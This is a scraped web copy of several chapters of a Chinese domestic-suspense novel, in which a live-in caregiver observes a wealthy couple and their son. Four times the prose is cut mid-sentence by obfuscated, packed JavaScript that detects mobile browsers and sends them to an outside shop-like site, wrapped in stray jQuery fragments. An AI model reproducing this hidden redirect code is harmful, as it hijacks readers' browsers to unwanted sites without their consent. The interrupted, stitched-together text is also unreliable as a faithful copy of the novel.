那是一个俄罗斯木头套娃,淡紫色的漆面,色彩浓烈而别致,上面画着一个大眼娃娃,金色头发,眼睛上翻,露出眼白,显得有些狡黠。画上这个娃娃怀里,还抱着一个小娃娃。
木头做的东西,又硌又凉,不是这个年龄小男孩常见的玩具,不知道为什么卢越喜欢到连睡觉也要抱在怀里。我想帮他拿出来放在床头柜上,那玩意儿有些重量,他又很珍惜地守护着,竟然没有成功。
也罢,吵醒了他就不好了。我于是把台灯关上,准备悄悄离开。
黑暗中听见身后传来一声童声梦呓:“妈妈……”
我突然打了一个寒颤。
4. 第 4 章
听见那声“妈妈”,我突然打了个寒颤,后知后觉,原是房间里的窗户没有关严,漏了几丝凉风进来。
我重又关好窗户,这才走出了卢越的房间。
二楼的走廊上,灯光下站着卢明,他正在等我。
看见我从卢越的房间出来,手里拿着空牛奶瓶,他只笑笑,招呼道:“走吧。”
我心知肚明,跟在他身后走下一楼。
和在医院时一样,刘莉每天都要擦身,只是变成了我执行,他监督——这样的流程。
我不明白他为什么一定要监督,一次两次还可以理解,可是我来都快两个月了……难不成是信不过我?
我不愿那么想,他对我十分信任,连家里的零钱和证件放在哪里,也不避讳我。自从我来后,原本隔天来一次的保姆变成了一周来一次,我承担了一个护工职责之外的工作,还心甘情愿。
我作为雇工尽心尽力,将心比心,卢明家也是一个好东家。且不说刘莉总让我没事歇着,卢明今天早些时候找到了我。
当时我还以为是什么严肃的事情。
“你最近经常做饭?”他一贯温和,难得露出那样锐利的目光。
“是……”
“那不属于你的工作范围。”
“没关系的。”我忙道,“我自愿的,其实也没多少工作量。小越吃着开心,我也开心。”
他的目光柔软下来。
“这样吧。我再给你开一份工资。”
“不用,不用——”
不管我怎么推却,他仍然坚持。我觉得再推辞就矫情了,也就默认下来。
他家不差钱,或许只是想和我划清界限。我这么一想,心情随之坦然了,虽然,有种说不清的失落。
往好处想,这也算升职加薪的一种。我又不和钱过不去,于是很快就高兴起来,新的日薪很快敲定了,差不多比之前多了一半。
那晚给刘莉擦身,正好在加薪之后,便多了一分“述职”的意味,在卢明的监督下,我比平时还要上心,手上干活的同时,还格外关注一旁作为老板的卢明的反应。也就是说,他观察我的同时,我也在暗中观察他。
他坐在一旁的椅子上,只坐了椅子的三分之一,背脊挺直,有点紧张的姿态,好像随时要冲过来帮忙——他就学不来放松一点,时至今日,我也就渐渐习惯了。从他坐的角度,我给刘莉擦身的每一个动作都一览无余,他的目光带着穿透力,跟随着我每一个细微的动作,仿佛我用手做过一遍的事情,他再用眼睛做一遍,那样不厌其烦。
刘莉依旧害羞,一切就好像医院病房的重演,不过换到了这个花园洋房的房间里,头顶的吊灯是温馨的暖黄色,照着刘莉雪白莹润的肌肤,我的影子叠在上面,像成群的虫子一样移动着。
她的衣服套了一层又一层,扣子一一解开,整个人瘫软地大敞着,毫无防备的脆弱。我从不知道一个肥胖而残废的人能有这样美丽的肉/体,她腹部的软肉层层叠叠,将一道长至会阴的狰狞的伤疤掩去,我想到那是生卢越留下的伤疤,一个生命曾经从那里诞生……只要再掀开一层白腻的肉皮,曾经从中剖出一个珍珠一样的小孩子。我忍不住伸手上去,抚着那长好的伤疤与皮肤之间的交界,触感就像干瘪的蚌肉。
我绕到床的另一边,拿背影对着卢明。
房间里安静极了,我熟练地坐着手上的事,耳边似乎听见了包括我在内的三个人几乎整齐划一的呼吸声,那种感觉十分奇妙,叫我忍不住清清嗓子。我知道此时卢明仍然在注视着我,
而且因为我背对着他的缘故,那目光更肆无忌惮了些。如果人的目光有温度,我的后背有点发烫;如果人的目光有质量,我的肩膀好像也变得沉重起来。我的呼吸变得粗重,粘腻的喉头分泌着更多的唾液,像是承受着观众注视的舞台经验贫瘠的演员。说不准什么时候,那位观众就将挣脱那三分之一椅子的束缚朝我迎来,从我背后锁住我,摆布我,同时也摆布刘莉。想象中他已经那样做了,或许但凡我此时一转头,就能从肩膀平齐处邂逅他那张陡然凑近的温文尔雅的脸。
“好,好啦。就这样吧。”最后还是刘莉结结巴巴,羞涩地出口宣告了这场表演的结束,我方才如梦初醒。
“辛苦了,剩下的就我来吧。”现实中的卢明站起来了,身体绷得像一根蓄势待发的弓弦,一个箭步挤到床边,我的身旁。由他负责繁琐而漫长的穿衣事务。
“哎。”我答应一声,目光从忙碌的他身上不多停留地扫过,自觉端着已经没热气儿了的水盆出门去了。
这天晚上卢明在一楼刘莉的房间留宿,我来之后头一遭——而我失眠了。
为了方便照顾刘莉,我的房间就在她的隔壁,那本来属于大卧室的一个小套间,一共有两扇门,其中一扇可以直接通往刘莉的房间。往常,那扇门都是虚掩着,自我来后,第一次可疑地闭上了,我被
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782287|145797||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那对夫妻的隐私拒之门外。
房间的另一扇门通往走廊,此时同样闭合着,让这个本来就不甚大的房间愈发像一个小盒子一样。我觉得有些憋闷,在床上辗转着换了好几个方向,总算找到了一个较为舒适的姿势不动了。我面朝的方向,隔了一堵墙,正好是刘莉房间里床的所在,床啊……今天,那张床上睡了两个人……这个想法让我浑身不自在,却又忍不住不去想……半梦半醒间,我又想起了不久前落在我背上的那道既灼热又沉重的目光,好像穿过了我的表层,检视着我身体的内部。如果那种目光能穿过人的肉/体,说不定也能穿越眼前这道墙壁……
三点十分。我醒了。
蹑手蹑脚打开走廊的门,我准备去厨房倒杯水喝。
暖黄的感应灯沿着走廊的踢脚线亮起,指示着前路,尽头就是厨房。那里有一扇大窗户,正对着洒满月华的庭院,光亮的玻璃让人几乎感觉不到它的存在,此时却清晰地照出我的影子。
喝下一杯新鲜的温水,很好地缓解了我方才身处小盒子里的那种憋闷感,我没有马上回房间,而是独自一人站在厨房与偌大的客厅之间,似乎在感受着什么。
周围非常安静,头顶的新风系统默默吐出恒温的气流,在原地站的太久,直到脚下的感应灯自动熄灭,我重新移动脚步,它们才又乖觉地依次点亮,指示着我脚下的地标。我往回走的时候,不可避免地路过了刘莉的卧室。
就和我的小卧室一样,刘莉的卧室也有一道面向走廊的门。如今,那扇门却虚掩着,感应灯的轨迹停住不动,我没忍住好奇,朝敞开的门缝里张望。
这天晚上额外的安静,也是由于刘莉今夜竟然没有打鼾的缘故,此时,她平稳地仰躺在床上,仍然显得有些闷重的呼吸声预示着主人正在甜蜜地沉眠。在她庞大的身体边上,是侧躺的卢明,估计只占了整张床的四分之一空间。他同样在沉睡中,呼吸均匀,神态安详,他朝向刘莉而卧,放松的手臂放在刘莉的头顶,如果他可以,我猜他原本是想抱住她,像一个小孩子抱着心爱的玩具。
那副样子好像在哪里见过……是了,不久前我看到卢越抱着套娃睡着的样子,强烈的既视感足以让人恍惚……我一直觉得卢越长得更像刘莉,也难怪,到底是父子啊……
脚下的感应灯失去耐心,又一次熄灭了。
于此同时,二楼传来一声清晰的门锁闭合的“咔哒”声。绝对的黑暗与寂静紧跟着袭来。
5. 第 5 章
我花了一下午的时间清理打扫这座房子,不得不说,我很享受这个过程,作为这里的新任女主人,心境到底和之前是不一样的。
刘莉的旧房间被我放到大扫除计划的最后,被清扫一新,重新归置到了随时可以住人的状态。
我提前几天跟卢明预告过我的计划,不过对此他并不赞成。
“别累到了,”他先是说,目光扫过我的肚子,“而且……那个房间,空着就空着吧,何必花功夫整理——还有谁会来住啊?”
“不知道。”我干脆道,然而心意已决,于是加上一句,“可能——我妈。”
他不吭声了,还是那句话:“别累着自己。”
我点点头表示知道了。
我不过是为了反驳卢明随口说说,我妈就是想来,我还不准呢。
我的想法很简单,也是我对于“家”的理解——每个家都应该有一个客房。
正是因为有潜在的客人,才能说明主人的地位啊,不是吗?
想到这里,我干劲十足,不多时,大卧室便焕然一新,丝毫看不出一点儿旧日的痕迹了。
我坐在重新铺好的床上短暂地休息。上腹部的胃里开始隐隐作痛,不过被我习惯性地忽略。
我的目光正好看向房间的门——不是通向走廊的那扇。
我的扫除计划至此还没有结束,我怎么忘了……除了刘莉的旧房间,可还有我的那个小套间呢。
我心中一动,站起身来,朝着那扇门走去,好像也朝向我在这个房子里的过去——
把手轻轻一扭,门便朝前打开了,无比顺滑。
我低头看着自己握着门把的手。
让我惊讶的不是别的,不过我是头一次知道——这门能关,不能锁。
打开门的那一瞬间,记忆同样汹涌而至。
……
我当刘莉的护工时,每周可以回家一次。但我也不是每周都回家,准确地说,我几乎不回家。
但那次是实在没办法了,我和我妈在电话里大吵一架。
于是在某个周末,我提了大包小包回家求和。
自从胡一亮死后,我就搬回了家住,是那种小区也没有,老市区里缺乏规划的筒子楼。因为楼与楼之间的间距太近了,楼道之间隔绝日光,阴暗无比,和卢明家的洋房别墅仿佛分处一个城市里的两个世界。那是下午四点钟左右,我从公交车站走出来,太阳暖暖地晒着我的背上,目睹着我走进小巷里。
周围的邻居都是和我爸妈一个厂出来的工人,都已经下岗退休,午后三三两两无可事事地聚在一起,像无家可归的狗一样逡巡在路边,我朝他们微笑打招呼。
“老田家的回来啦!”
“听说找到工作了,下一步是不是就要往家领姑爷了?”
“嚯,不过年节的,往家带回这么多东西,好福气啊!”
我礼貌而腼腆地笑而不语。
这些是上得了台面的好话,至于那些不好的,隐在水下,和微妙的目光在私暗处默默传递。
而我只用在意那些台面上的就好了。
转了个弯,隔开穷追不舍的目光,我走进楼道里。肮脏而灰白的墙面上剥离的墙皮像死鱼的鳞片,从墙角一直延伸开去,角落的垃圾堆发出潮湿而腐败的味道,地上坑坑洼洼,有着来路可疑的积水。
我慢慢爬上二楼,我家在二楼。
这时门开着,我爸的老朋友洪叔站在门口,正准备走,转头看到我,打了声招呼:“晓燕。”
他似乎有点尴尬,整理了下头发,迅速消失在我的视线。
我有所感应,走进家门,果然听见我妈撒泼的哭声。
“田景福!你这个没良心的……”
我刚把东西放下,正在脱掉身上臃肿的黑色棉衣,我妈看见了我,活像看见了救星。
“晓燕啊,你不知道,你爸和洪叔嫖资分账,都分到家里来了,根本不把咱娘俩放在眼里……”
家里的瓷砖地板光可鉴人,我却有种重新一脚踏入泥潭的感觉。
如果只有我妈在,我爸说不定还可一敌,碍着我回来了,逃也似的也追着洪叔出门去了。
我把门关上,自认倒霉,像往常一样,给我妈倒了杯水,让她消消气。她好容易止住哭,靠在沙发上像牛一样喘气。
“你又不是不知道他,就是那样的人。”
她怒视我,好像我这么云淡风轻地说起自己的父亲很奇怪似的。
我反倒觉得她那个样子才奇怪。这又不是第一次。
我不看她,把桌上的营养品码整齐,一一介绍:“天麻。西洋参。燕窝——刘莉特别让我给你带的,问你好呢。”
她的目光微动,在桌上扫过一圈,猜到了我回家的缘由,瞬间做出一副威不可侵的姿态:“我知道你打的什么算盘。可别想糊弄过去。”
我没说话,曾想过一场风波盖过另一场风波,谁知还是逃不过。
“我听美玲说胡一亮的保险金有90万,是不是真的?”
——来了。
我干脆地点头承认。
“老天爷!”她捶足顿胸,吊高嗓子,“我又不贪你那点钱,连你老妈我也要瞒?我看你和你爸一个德行!”
她哀叹着,拍着沙发:“我命苦哟——”
她的反应就跟前两天电话里差不多,只是上次的观众席离得太远了。
“我当然知道你不贪我的那点寡妇钱。”我加重语气,顺着她的话往下说,她梗了一下。
“瞒着你,还不是怕,喏,”我朝门边努努嘴,“让他知道了。”
顺着她今天早给我安排好的角色,我提醒她,我们是一伙的。
她一呆:“那你偷偷告诉我呀!”
说着,又悲从中来:“让我从美玲那里知道,别人把我当傻子!我,我成什么了我……”
提到美玲,我目光一冷。
“美玲还给你说什么了?”
她一呆,被我的神情震住:“还有什么我该知道的?”
我呼出一口气,摇摇头:“没有了。”
她眼看着又要哭号起来,而我忍着心烦,只想速战速决,直接了当道:“妈,是我错了,不该不告诉您。”
我从包里取出一个提前准备好的红包,递过去:“这里是五千块钱。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782288|145797||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“我这不是找到地方做工了,今后每个月,我再给您两千家用。您额外需要用钱的时候,再跟我说。”
此话一出,我妈果然表情稍霁,嘴里不忘苍白地表示:“我不是图你的钱,知道吧?凡事得让我知情,不然让外人看了笑话……”她接过红包又掂了掂,慢慢没有声音了。
我顺着她的话道:“我当然知道,之前嘛,那些钱虽然在我手里,三十五万给了胡一亮他爸,二十万给你和爸这房子,”说到这里,我笑一笑,“剩我手里那些钱没多少,迟早坐吃山空。”
我妈听了这话,表情略微尴尬。五年前,这房子因为我妈欠下赌债,差点保不住,我出了二十万——我这是顺便在提醒她,过去五年我并不是在她家白吃白住。
“不过现在不一样了。”我又笑笑,“我找到工作了,每个月领人工,日子慢慢在变好呢。”
电话里的争执到此告一段落,我妈慈母的胸怀重新接纳了我。
我坚持没留在家里吃晚饭,只说主人家还在等我。
“你这算是什么?护工,还是保姆?”我妈面露不悦,像是在为我打抱不平,“一个月给你开多少钱?”
我重新套上外套,敷衍道:“这不刚开始几个月,我自愿的,要好好表现。”
“替我谢谢卢明他们了。”我妈一眼扫过桌上摊开的礼品盒,絮絮叨叨道:“你主人家看来对你是挺好的,看你气色好了不少,瞧着又圆润了点……好好干吧。”
我穿外套的手一僵,没说什么,打开门,有些凉意的微风拂面,邻居家正在做晚饭,楼道里飘着饭菜的香气。
我半回身冲她告别:“我走了。不用送。”
她一手扶着铁门,冲我摆了摆手,我走到一片黢黑的楼道口,听见身后门关上的声音。
家里的灯光熄灭了,楼道里昏黄老旧的电灯胆闻声接力,颤颤巍巍地亮起来。
我重新回到卢明家明亮温馨的小楼。时间是八点半,不算很晚。
卢明坐在客厅的沙发上,正在看书。我第一次看到他戴眼镜的样子,看起来很斯文。
“回来啦?”他听见声音,朝玄关撇来一眼。
“哎。”我答应一声,脱外套,换鞋。
我妥帖小心地挂起我崭新的黑色大衣,它又轻,又软。我忍不住又摸了一遍那顺滑的羊毛织面,舒服的让人有种喟叹的冲动。
回家路上,我特意绕行到商场,给自己挑选了它,花费五千元。我出门时穿的黑色旧棉衣,现在应当在商场垃圾桶的某处。
新大衣现在和卢明的外套一起陈列在玄关处。
我磨磨蹭蹭,走到客厅里,明亮起来的灯光使我贴身的起了球的红毛衣无所遁形,卢明放下书,目光在我身上扫了一圈。
“吃过饭了吗?”
我撒谎道:“吃了。”
他看了看我,猝不及防道:“你瘦了。”
“是不是工作太辛苦了?”
“没有的事。”我先是一愣,然后笑起来,“最近胃口不大好。”
——这是实话。
连带来这里后涨的三斤,到今天我已经瘦了十斤了。
6. 第 6 章
我曾经住过的小套间现在已经成了储物室,堆满了杂物。
我打开窗户通风,阳光射入,此间数不清的细小尘埃在空气中浮游。
这里面大多是跟刘莉有关的东西,像是一个小小的纪念堂。
不过刘莉留下的痕迹也就仅止于此了,除了这个小套间,房子里剩下的角落被我的存在占领、填满——如果你此刻在我的位置上,也不得不感叹命运的神奇。
翻开一本尘封的相簿,刘莉那个女人的样子再次出现在我的面前。
这里面保存的是健康的刘莉,我没见过的刘莉。
她小时候的相片,大概七、八岁的时候,唇红齿白,穿着一眼就能识破她家境优渥的白色纱裙,对着镜头笑容灿烂,像个瓷娃娃那样精致漂亮。
她再大一点的生活照,已经是少女模样的她亭亭玉立,笔直而纤细的腿,看上去一折就断的胳膊……她说她曾经只有42公斤,看来不是吹牛。她身形纤瘦,脸型却饱满圆润,旁人羡慕不来。一张俏丽的脸蛋儿,尖尖的下巴颏儿,依稀能看出多年后的影子。
她的结婚照在相册的后半部份,当然的,出现了卢明的痕迹。
她穿着欧洲公主一样繁复的新娘礼服,发髻梳得高高的,浓妆艳抹的脸蛋儿,配上隆重的珠宝首饰,显得华丽至极。年轻清瘦的卢明站在她身旁,穿着一身黑色西服,就和我想象中一样英俊,然而光芒也被身边的美丽新娘掩盖了。
像是迎来美人最为盛大的花期,我得以一窥当年那场婚礼的暗影,从迎宾、宣誓、敬酒……所有的环节都留下了珍贵的照片,其中刘莉巧笑嫣然,无一不美。
我或许应该嫉妒,但是想到她未来即将遭受的悲剧,又心有戚戚。
翻过又一张婚礼上她和卢明的合照,相册也已经接近末尾。
他们婚后的照片不多,刘莉脱下了盛装,做家居打扮,背景是我熟悉的——这栋房子花园里的三角梅。
她脸上洋溢着平淡的幸福,跟婚前比,已经开始有点发胖的迹象。我刻意去看了眼照片的时间,是那场婚礼三个月后。
最后一张是她躺在病床上,卢越的襁褓放在她的枕边,两人唯一的一张合照。那时应该是她从车祸劫后余生,卢越被紧急引产,奇迹般地活了下来。她还在昏迷中,脸浮肿着,紧闭双眼,睫毛很长。
这才是我认识的刘莉。
由卢明掌镜拍下这张照片,背后写着:“娃娃和娃娃。”我很难揣摩那个时候他的心情,一定是非常伤痛,独自面对着没有未来的恐惧。
从那之后,刘莉再也没有照片留下。
我想起了卢明和刘莉的过去,他们的爱情。
瘫痪在床的刘莉跟我讲起他们的故事,双眼泛光,幸福像是要从那双长睫毛里振翅欲飞的蝴蝶。
“我们俩呀,是青梅竹马……”
要从刘莉和卢明的父辈说起。他们是同一个厂子的工友,工厂分房,他们是邻居。后来两家也一起下岗了。
——这一切听起来何其熟悉,因为我和我的前夫胡一亮也是这样。不过故事从某个时候开始有了不同的走向。
刘莉的父亲当年毅然决然下海做生意,很快赚到了第一桶金。刘莉出生时,已经是万元户家的千金。
卢明的父亲则保守许多,他在俄罗斯边境做一些倒买倒卖的小生意,跟刘莉家是不能比的。
尽管如此,刘、卢两家依然保持着不错的交情。刘莉夫妻忙不过来的时候,常把刘莉寄放在邻居家,直到又过了几年,刘家换了大房子,搬离了筒子楼。
“我和卢明呀,从小几乎没分开过。”她道,脸上全是甜蜜,“我从小就知道,我会嫁给我的卢哥哥。”
“小时候我每天都盼着去他家里,卢妈妈做晚饭的时候,我们就在一起玩儿。我记得那个时候他九岁,我六岁,那个年纪的小男孩正值最顽皮的时候,他对我却格外有耐心,跟我一起玩一些家家酒的游戏。我把玩具带过去,他装作做饭给我吃——可能从那时候就有预兆了吧,我们婚后,家务事他都一手包办,一次都没让我碰过。”
我微笑着礼貌地听着,安静地削着一个苹果,苹果皮在我手中越来越长。
“你别看他那样,一本正经的,”她愈发来了兴致,冲我挤挤眼睛,“我们一起玩过家家酒,他比我还要热衷。给我做饭,给我换衣服什么的……哎呀,当时还小,现在想想羞死人了!”
但她的表情明显不是那么一回事。
卢明现在也还每天给她穿衣服,一层又一层,不厌其烦。我都看在眼里。
“你知道他私下叫我什么?”
“什么?”我顺着她问,满足她的分享欲。
我其实知道,但是我不说。
“娃娃。”她想忍住不笑,但忍不住,最终呈现的表情便有点滑稽。
——“娃娃和娃娃”。卢明在她和卢越的相片背后写。
我曾经偶然听到他们之间的对话,所以知道这个爱称。当时,我颇给面子地微微一惊,然后用羡慕的语气道:“好甜啊。小莉,你真是好福气。”
被我这么一说,她反而又不好意思起来,真是矛盾。
“燕姐,听说你和你先生也是青梅竹马?”
“听谁说的?”
“哎呀,上次我跟卢明聊天的时候,他随口提到了,我觉得好巧,就记下了。”她小心观察着我的表情。
我们的关系已经到了我可以坦然提起胡一亮的程度,我听了轻轻一哂:“是啊。我们也是一个楼里长大的。一个医院出生,听我妈说,连出生时的床位都是同一个。”
“哇!”她也发出捧场的惊叹。
“不过呢,我福气没你那么好啦。”
“真可惜……”她道,“不过也没办法的事儿。过去五年了,燕姐,你没想过再找一个吗?”
我一愣,刚要回答,被厨房里计时器响起的尖锐蜂鸣打断。
“燕窝炖好了。”我起身,结束了这场谈天。
刘莉一天要吃三次燕窝,怪不得她胖。胖的又那么漂亮,嫩生生的。她有糖尿病,燕窝里不加糖,我尝过一次,果然就跟穷人嘴里传说的那样,没味儿的银耳。
“燕姐,你也跟着我一起吃吧。”
我喂她吃完最后一勺,她觑着我道。
“我看你都瘦了。”
我笑笑:“我吃不惯,没那个福气呀。”
那时我又瘦了几斤,袖管都松了,整个人轻盈多了,感觉前
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782289|145797||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所未有的好。
自从上次在商场里买了那件大衣,好像开启了欲/望的魔盒。连着两个月,收到工资的第一时间,按照承诺给我妈转去两千,我再去商场买衣服,同样花费两千。
我小房间里的衣柜看起来跟之前没什么变化,只有我自己知道,旧衣服被淘汰了,散发着商场高级香味的小一码新衣正在安静地等待着我的蜕变。
跟卢明聊起胡一亮的那一次,我正靠着厨房的窗户吸烟,冷风把烟气带走。
灶上炖着刘莉的燕窝,发出香甜的味道。
卢明提着两盒新燕窝回家,给厨房补货。
看见他来,我下意识要将烟掐灭。
却见他朝我微笑伸手:“别忙,也给我来一根吧。”
我没动,笑道:“你不是戒了吗?”
他也笑笑:“偶尔一两根不碍事。”
我把烟盒和打火机都递给他。于是两个人一起吞云吐雾。
“晓燕。这盒给你的。”他指着其中一盒燕窝,对我说。
我笑:“还有这种好事?”
他也笑:“你不是吃不惯?不是给你的,给伯母的。你这周回家的时候带回去吧。”
我看着他,他把眼睛低下去。
“上次说要送的河蟹过季了,这些燕窝不成敬意意。”
我没法告诉他,上次我回家那次,已经以他和刘莉的名义给我妈送了礼,解决了一场危机。除非再出什么事,我最近都不打算再回家了——平时我借口回家,其实都是在商场闲逛。
我不再推辞,朝他点点头:“那就谢谢你了。”
他重又垂下眼去,深吸一口烟:“你先生……是不是叫胡一亮?”
我顿了一下:“对,你怎么知道?”
“最近我们公司又接了几个绿城的案子。”他说,“翻到之前的保单,正好看到了。”
“哦。”我回过神来,接着他的话,“绿城一定让你们公司赔惨了吧。”
“可不是,”他转向一边,“白血病,癌症的不少……真作孽。”
我沉默下来。胡一亮是前者,白血病。
绿城开发的毒房子在这个城市已经不是什么新闻了。
“听说有集体诉讼,你们上诉吗?”
我苦笑:“没。也得亏没去,多少家被上诉拖垮了,两年前绿城破产,根本也没赔几个子儿——还不如你们保险赔的多。”
我说着叹了口气。
他此时又后悔提起这个话题,踌躇道“:“抱歉,我不是——”
我摇摇头,抖落手中好长的烟灰:“没事儿。都五年前的事儿了,我早就看开了。”
他的目光投来,似乎等着我继续说下去。
我像被蛊惑了似的:“我和胡一亮,一起长大,算是青梅竹马吧……”
我意识游离,说起很多年前的事情。我们的童年在城东单位分的老房子里……
“这么巧?我家和刘莉家的老房子也在那边。”卢明道。
我鬼使神差一样,看着他,突然道:“他对我挺好的。”——自己也不知道在强调什么。
不过话匣子打开,这句有些突兀的话很快被其他琐碎的话语淹没,泥沙俱下,冲刷而去。
7. 第 7 章
我来到卢明家这几个月。我越来越瘦,精气神却比从前好,与此同时,刘莉的状况越来越差。
卢明考虑将刘莉转到医院去看护,刘莉不想去。
“你怎么这么不听话!”
我和卢越在客厅,听到卧室里压抑着的,卢明和刘莉的争吵声。
“刘莉!不要任性!”卢明忍无可忍,喊了刘莉的全名。
我与卢越对望一眼,我装作什么也没听见,问他:“吃好了吗?”
他摇摇头,低下头继续吃着。
我把剩下的碗筷收走,去厨房洗碗,过了一会,他把剩下的碗筷也送进来。
“你昨晚几点睡的?”
他转身的时候,没想到我突然问,一时也没有作答。
“你还在长身体,熬夜对身体不好。”我像一个长辈那样嘱咐他,倒不算责备。
“知道了。”他回答,声音低低地传来:“你也是。”
我很确定,最初那个夜游的晚上,他看见我了,然后从二楼关上了门。我一开始怀疑是风吹的,但是后来又有好几个晚上如此,他从不下楼。也从那晚上开始,我频繁地因为胃痛睡不着觉,常在凌晨待在客厅仿若无人地游荡。
“妈妈会住到医院里去吗?”卢越最后问我。
“我也不知道。”
刘莉身体不好,导致她的精神多了几分焦躁,却对于这件事情非常固执。
“我要死在这所房子里,就在这张床上。”她分外平静地当着我和卢明的面说出这句话。
卢明没办法,妥协了。他请了私人医生来家里。
而那位私人医生,我竟然认识。
“田护士!”
我反应了好一会,才想起来称呼:“……吕医生。”
吕聪医生跟我差不多高,一脸乐天的笑意,如果我记得没错,他跟我年纪差不多大,刚迈入中年的门槛,头发已经危险的稀疏。
卢明还没给我俩介绍,这时微笑着问:“你们认识啊?”
吕聪医生抢答:“对啊,我们之前都是x院的。好巧。”
又转过头主动对我道:“田护士辞职没多久,我也出来单干了,真是巧,真是。田护士现在在哪高就呢?”
我有点不知所措,看了卢明一眼,嘴里敷衍道:“算不上,我已经不在医院了,现在嘛……机缘巧合,帮朋友个忙。”
卢明冲我一笑,然后领吕聪医生进房间给刘莉看诊去了。
我想了半天没有跟去。
吕聪医生在内科的时候名声不太好,我在职的时候跟他不太熟,至于离职后,更是彻底断了联系。
我犹豫着要不要跟卢明透个风。他们很快就出来了。
“这个情况,最好还是去医院监护,如果一定要在家的话,要额外注意护理,”吕聪跟卢明说,说到这里看了我一眼,“特别这个下肢血运,糖尿病人要额外注意,如果发生破溃要即时就医,处理不当导致截肢的例子屡见不鲜……”
卢明像神游一般,突然出声打断:“你说什么?”
吕聪一愣,不太确定地重复了一声:“截肢?”
见卢明脸色不对,他轻咳一声:“当然,那是很极端的情况,平时多注意下肢血运,没事多按摩按摩,有情况及时处理,总不至于到那个地步……”
吕聪医生又多嘱咐了几句,自觉不受欢迎,便飞快告辞,改日再来。
午后我给晚饭择菜,卢明凑到我身边,自觉上手,一把掐掉青菜上鲜灵的嫩芽。
我看他一眼,他似乎也有话要对我说。
“吕医生刚才闲聊,跟我提起你来着。”
我加快了手上动作,状似无意,问道:“他说我什么?”
“他说你和你老公胡一亮,在医院里很有名。”
我手一颤,折断了青菜脆嫩的茎。
“哦?”
“——有名的恩爱。因为他生病,为了专门照顾他,你辞职的吧?”
“对。”我毫不犹豫地点头,笑笑,“他对我是挺好的。”
——其实并没有人问。
他看着我的目光微微一动,又想说什么,我却已经站起身,端着择好的菜朝厨房走去。
晚饭是我亲自下厨,卢明、卢越都在。他们都很喜欢我做菜的口味。
“晓燕,”卢明出声叫我,“先和我们一起吃完,再去管刘莉吧。”
“没关系的。”说话间我端着餐盘,已经走到了刘莉卧室门口。
刚推开房门,便迎上刘莉的目光,她正偏头往这边望。
见来人是我,她有三分失望,三分恼怒,把头转去另一边。她变得虚弱了,于是情绪总共也只有六分,脾气显然比从前坏。
“吃饭了。”我纯属多余地说了一句,“先喝汤吗?”
“我不要你喂!拿走!”她的声音一半闷在枕头里。
“……那我叫卢明来?”
她不答话。
我没有办法,原封不动地把餐盘端出去,冲卢明摇了摇头。
卢明此刻脸上阴云密布,从餐桌前“嚯”地站起,那样子有点怕人。
“我去。”
从我手中接过餐盘,他不无威严地在卧房门上敲了三下,这才推门进入。
很快,响起争吵的声音,刘莉细细的又绵延不绝的哭声,餐具摔落在地上的声音。
一切好似午饭的重演,我问卢越:“吃好了吗?”
这次他点点头。
“吃好了就回你房间里去吧。”我觉得小孩子可怜,声音放柔一点。
他却出乎意料地,过来牵着我的手,拉着我示意往他房间里去。“我有东西给你看。”
我于是任由他牵着,撇下一楼的争吵现场,跟他去了二楼的房间。
他的房间我并不常来,因为他平时住校只有周末回家,也十分整洁,只有床微微乱。只看布置,压根看不出来这是一个十岁小男孩的房间,墙纸是大理石的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782290|145797||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灰色,1.5米的大床,足够卢越住到十八岁也不会觉得违和。
唯一抓住我注意力的,是他枕边放着的套娃。
那个套娃。
淡紫色的木头套娃,完美漆面上鲜明大胆的撞色衬得娃娃的笑容越发醒目,一个衣着华丽的娃娃怀里还抱着一个更小的娃娃,狡黠地上翻着眼睛,多看一会让人心生疑窦,怀疑它不怀好意。
他伸手过去,这就是他要给我看的东西。
“这是我最喜欢的。”他小声道。
当着我的面,一层一层地拆起套娃。
我边看他拆边数着,一,二,三……一连拆了九层下来,一模一样的娃娃脸,带着甜腻又不坏好意的笑,上翻着眼睛觑着我。
